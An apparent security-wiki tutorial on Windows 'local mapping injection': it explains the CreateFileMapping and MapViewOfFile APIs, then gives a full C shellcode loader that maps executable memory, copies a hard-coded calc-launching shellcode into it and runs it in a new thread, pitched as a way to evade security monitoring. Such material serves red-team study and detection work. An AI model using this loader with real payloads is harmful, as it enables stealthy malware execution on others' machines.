Local Mapping Injection
Code execution using memory mapping
Memory Mapping
Memory mapping is a process used by operating systems to map files or devices into the memory address space of a process. It enables programs to access file data as though it were part of the process's memory, eliminating the need for explicit read or write calls to interact with the file contents.
Memory mapping is extensively used for:
File I/O operations (e.g., reading a file into memory).
Inter-process communication (IPC).
Dynamic memory allocation.
Executing code directly from memory.
In this process, a file or a memory location (allocated space) is mapped into process memory by associating its data with a virtual memory address range. This allows the program to access the data using pointers, as though it were an array in memory.
Private memory allocation ( API calls like VirtualAlloc
and VirtualProtect
) is heavily monitored by security solutions. mapping injection will let us allocate memory in local or remote process without using these APIs, thus making the loader a bit more stealthy.
Memory Mapping APIs
There are 2 Windows APIs that handle memory mapping:
CreateFileMapping
Creates or opens a named or unnamed file mapping object for a specified file. basically, it allows a process to create a virtual memory space that maps to the contents of a file on disk or to another memory location. the function returns a handle to the file mapping object.
HANDLE CreateFileMappingW(
HANDLE hFile, // handle to file
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attribute for inheritance
DWORD flProtect, // page protection flags (defined later)
DWORD dwMaximumSizeHigh, // max size high order DWORD (NULL)
DWORD dwMaximumSizeLow, // max size low order DWORD
LPCWSTR lpName // optional name
);
The first parameter is hFile
, as Microsoft explains it:
[in] hFile
A handle to the file from which to create a file mapping object
If
hFile
isINVALID_HANDLE_VALUE
, the calling process must also specify a size for the file mapping object in thedwMaximumSizeHigh
anddwMaximumSizeLow
parameters. In this scenario,CreateFileMapping
creates a file mapping object of a specified size that is backed by the system paging file instead of by a file in the file system.
The second parameter is the optional inheritance flag which we will set to NULL
for now.
The third parameter is a page protection flag that specifies the memory permissions on the file object. for normal file operations, this flag is usually set to PAGE_READWRITE
since we just want to read data from the mapped memory or write data to it. but if we want to execute code from the mapped object, the PAGE_EXECUTE_READWRITE
flag should be used.
The dwMaximumSizeLow
parameter should be set to the size of file or memory region that we want to map to the object.
MapViewOfFile
Maps a view of a file mapping into the address space of a calling process. this is the actual function that takes a pointer to the memory mapping object and the access rights and returns a pointer to the start of mapping in memory.
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // handle to file mapping object (returned from CreateFileMapping)
DWORD dwDesiredAccess, // memory permissions (R,W,X)
DWORD dwFileOffsetHigh, // file offset high order DWORD (NULL)
DWORD dwFileOffsetLow, // file offset low order DWORD (NULL)
SIZE_T dwNumberOfBytesToMap // size of data to map (from file or memory)
);
The first parameter is the input file mapping object handle taken from CreateFileMapping
.
The second parameter is the access right for this memory region. again, if we are dealing with normal read/write file operations, we specify FILE_MAP_WRITE | FILE_MAP_READ
to be able to read data from the mapping object and write data to it. but when executing code, we need write access to write the payload and execute permission to run it so we use FILE_MAP_WRITE | FILE_MAP_EXECUTE
.
The last parameter is how much data (in bytes) we want to map in memory. this is set to the payload size from the file or memory region.
Mapping a File in Memory
Bellow code shows an example of using memory mapping APIs to create a file mapping of a text file in memory and writing data to that file using the memory mapping object.
#include <windows.h>
#include <wchar.h>
#include <stdio.h>
#define FILENAME L"map2mem.txt"
int wmain() {
HANDLE hFile = NULL;
HANDLE hMapping = NULL;
LPVOID pView = NULL;
// Data to write to the file
const wchar_t* data = L"Hello, Memory Mapping!";
size_t dataLength = (wcslen(data)) * sizeof(wchar_t); // Including null terminator
// Step 1: Create or open a file
hFile = CreateFileW(
FILENAME, // File name (wide-character)
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS, // Always create a new file
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create or open the file. Error: %lu\n", GetLastError());
return 1;
}
wprintf(L"[+] File '%s' created successfully.\n", FILENAME);
// Step 2: Set the file size to match the data size
if (SetFilePointer(hFile, (LONG)dataLength, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {
printf("[-] Failed to set file pointer. Error: %lu\n", GetLastError());
CloseHandle(hFile);
return 1;
}
if (!SetEndOfFile(hFile)) {
printf("[-] Failed to set file size. Error: %lu\n", GetLastError());
CloseHandle(hFile);
return 1;
}
printf("[+] File size set to %llu bytes.\n", dataLength);
// Step 3: Create a file mapping object
hMapping = CreateFileMappingW(
hFile, // File handle
NULL, // Security attributes
PAGE_READWRITE, // Read/write access
0, // Maximum size (high-order DWORD)
(DWORD)dataLength, // Maximum size (low-order DWORD)
NULL); // Optional name
if (hMapping == NULL) {
printf("[-] Failed to create file mapping. Error: %lu\n", GetLastError());
CloseHandle(hFile);
return 1;
}
printf("[+] File mapping object created.\n");
// Step 4: Map a view of the file into the process's address space
pView = MapViewOfFile(
hMapping, // Mapping object handle
FILE_MAP_WRITE, // Access type
0, // Offset (high-order DWORD)
0, // Offset (low-order DWORD)
dataLength); // Number of bytes to map
if (pView == NULL) {
printf("[-] Failed to map view of file. Error: %lu\n", GetLastError());
CloseHandle(hMapping);
CloseHandle(hFile);
return 1;
}
printf("[+] File mapped into memory.\n");
// Step 5: Write data to the mapped memory
memcpy(pView, data, dataLength); // Write wide string
wprintf(L"[*] Data written to memory: %s\n", data);
// Step 6: Unmap and truncate the file
if (!UnmapViewOfFile(pView)) {
printf("[-] Failed to unmap view of file. Error: %lu\n", GetLastError());
}
else {
printf("[+] View of file unmapped successfully.\n");
}
if (!CloseHandle(hMapping)) {
printf("[-] Failed to close file mapping handle. Error: %lu\n", GetLastError());
}
else {
printf("[+] File mapping handle closed successfully.\n");
}
// Ensure file is truncated to the actual data size
SetFilePointer(hFile, (LONG)dataLength, NULL, FILE_BEGIN);
if (!CloseHandle(hFile)) {
printf(L"[-] Failed to close file handle. Error: %lu\n", GetLastError());
}
else {
printf("[+] File handle closed successfully.\n");
}
return 0;
}
Execution flow:
The program creates a new file (
map2mem.txt
) or opens an existing one withCreateFile
.The file pointer is moved to the desired size (
FILESIZE
), and the file is truncated or extended usingSetEndOfFile
.A memory mapping object is created using
CreateFileMapping
, specifying the file handle and access rights.The
MapViewOfFile
function maps the file contents into the process’s virtual memory space. The return value is a pointer to the mapped memory.Data is written to and read from the memory directly via the pointer.
UnmapViewOfFile
,CloseHandle
(for the mapping object), andCloseHandle
(for the file) are called to release resources.
The output looks like this:

As you can see, we successfully wrote data to a file indirectly by using memory mapping and a mapping file object.
Code Execution with Memory Mapping
In the previous example, we used memory mapping to map a file into local process memory and modify its content. the same technique can be used for executing shellcode but instead of loading the payload from a file, we use a mapping object that points to a memory region where our shellcode is located. this time we use RWX
memory permissions for creating the object and WX
access rights for copying and executing shellcode using MapViewOfFile
API call.
Execution flow:
Create a file mapping object in memory
Map the memory (shellcode)
Copy shellcode to mapped memory
create a new thread (or use another technique) to run the shellcode
Code:
#include <Windows.h>
#include <stdio.h>
int main() {
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
0x99, 0xFF, 0xD7 };
// Create a file mapping object in memory
HANDLE hMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
if (hMap == NULL) return -1;
printf("[+] File mapping object created successfully.\n");
// Map the memory
void* exec_mem = MapViewOfFile(hMap, FILE_MAP_WRITE | FILE_MAP_READ | FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
if (exec_mem == NULL) {
CloseHandle(hMap);
return -1;
}
printf("[+] shellcode successfully mapped to memory.\n");
// Copy shellcode to memory
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("[+] shellcode coppied to memory.\n");
printf("[+] creating new thread to execute shellcode...\n");
// Execute the shellcode via a new thread
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
printf("[+] shellcode executed successfully\n");
WaitForSingleObject(th, -1);
// Unmap and clean up
UnmapViewOfFile(exec_mem);
CloseHandle(hMap);
return 0;
}
Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?